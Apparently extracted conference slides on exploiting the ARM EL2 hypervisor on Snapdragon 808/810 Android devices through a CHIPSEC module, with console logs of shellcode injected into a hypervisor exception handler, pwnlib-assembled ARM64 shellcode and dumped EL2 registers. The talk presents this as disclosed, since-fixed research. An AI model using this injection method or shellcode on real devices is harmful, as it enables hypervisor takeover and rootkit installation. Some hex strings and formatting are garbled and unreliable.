[CHIPSEC] OS : Linux 3.10.73-gb1bd207-dirty #1 SMP PREEMPT Mon Jun 26 16:11:07 PDT
[CHIPSEC] Platform: aarch64

[+] loaded chipsec.modules.tools.hyp.hyp_exploit

[*] running module: chipsec.modules.tools.hyp.hyp_exploit

[x][ Module: Patching the hypervisor

[Exploit] Check Hypervisor memory at address : 0x06C00000

44 11 00 58 04 c0 1c d5 20 40 1c d5 a3 00 3c d5 | D X @ <
64 1c 78 92 63 1c 40 92 63 18 44 aa a4 10 00 58 | d x c @ c D X

[Exploit] EL1 kernel module has access to Hypervisor memory

[Exploit] Read VBAR_EL2 with address of Hyp Vector Table : 0x06C08800

[Exploit] Find a Exception Handler function in which exploit will inject Shellcode

[Exploit] Target Function Address : 0x06C017FC

[Exploit] Prepare Shellcode with Commands               : Read/Write EL1 Kernel memory

[Exploit] Inject Shellcode to Target Function in address : 0x06C019F8

[Exploit] Check Shellcode after injection                : PASS```
User mode application can read EL2 kernel memory from 0x80000 physical address using our hyp patch
This has been fixed in Google Pixel

- The trust model has changed on Snapdragon 821 SoC
- EL1 (kernel) is not longer in the TCB of EL2 (hypervisor)
- Hypervisor is no longer accessible from Android kernel (EL1)
Cannot use SMC handler either

- Passing hypervisor address in the SMC argument
- Return error result
- SMC does not allow overwriting hypervisor memory on behalf of EL1

```plaintext
util.py smc 0x0 0x2001302 0x23 0x85810000 0x28 0x0

#CHIPSEC Platform Hardware Security Assessment Framework
#CHIPSEC Version 1.2.2

***** Chipsec Linux Kernel module is licensed under GPL 2.0

[CHIPSEC] Executing command 'smc' with args ['0x0', '0x2001302', '0x23', '3', '0x85810000', '0x28', '0x0']

[CHIPSEC] CPU0: SMC ( 0x2001302 0x23 0x85810000 0x28 0x0 ) = r0: FFFFFFFFEFFFFFB r1: 00000000 r2: 00000000 r3: 00000000
```
Conclusion

• Hypervisor can be attacked on ARM based systems with Snapdragon 808/810 and virtualization rootkit can be installed
• Threat model should not include OS kernel into the TCB of the hypervisor
• Similarities between vectors of attacks on x86 and ARM exist and security architectures can learn from each other
Thank You!
Hypervisor Payload Customization

Read HCR_EL2 register:

```python
import pwnlib

shellcode = """ STR X0, [sp, #-16]! ;
          STR X1, [sp, #-16]! ;
          MRS X0, HCR_EL2 ;
          MRS X1, TTBR0_EL2 ;
          ADD X1, X1, #0x200 ;
          STR x0, [x1] ; // store value to commutation buffer (TTBR0_EL2 + 0x200)
          LDR X1, [sp], #16 ;
          LDR X0, [sp], #16 ;
          RET """

shellcode_bin = pwnlib.asm.asm(shellcode, arch = 'arm64')
```

Other examples:

```python
>>> binascii.hexlify(pwnlib.asm.asm("MRS X0, VBAR_EL2; RET",arch = 'arm64'))
'b00c03cd5c0035fd6'
>>> pwnlib.asm.disasm(binascii.unhexlify("00c03cd5c0035fd6"), arch = 'arm64')
' 0: d53cc000  mrs  x0, vbar el2\n 4: d65f03c0  ret'
```
Reading EL2 Registers...

```plaintext
bullhead:/ # /su/chipsec_main.sh -m tools.hyp.hyp_exploit -a 0x10
chipsec 6843 0
[CHIPSEC] OS : Linux 3.10.73-gb1bd207-dirty #1 SMP PREEMPT Mon Jun 26
[CHIPSEC] Platform: aarch64

[+ ] loaded chipsec.modules.tools.hyp.hyp_exploit

[*] running module: chipsec.modules.tools.hyp.hyp_exploit

[x][ Module: Patching the hypervisor

Read Registers:

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HCR_EL2</td>
<td>0x0000000800000002</td>
</tr>
<tr>
<td>VBAR_EL2</td>
<td>0x0000000006C08800</td>
</tr>
<tr>
<td>TTBR0_EL2</td>
<td>0x0000000006C40000</td>
</tr>
<tr>
<td>TCR_EL2</td>
<td>0x000000080803A20</td>
</tr>
<tr>
<td>HSTR_EL2</td>
<td>0x0000000000000000</td>
</tr>
<tr>
<td>MAIR_EL2</td>
<td>0x00000000BB04FF44</td>
</tr>
</tbody>
</table>

[CHIPSEC] **************************************** SUMMARY ****************************************
```

Using hyp exploit to read EL2 config registers

- **HCR_EL2[0]** – VM bit is 0: Stage 2 address translation disabled
- **TTBR0_EL2** - base address of the translation table for Stage 1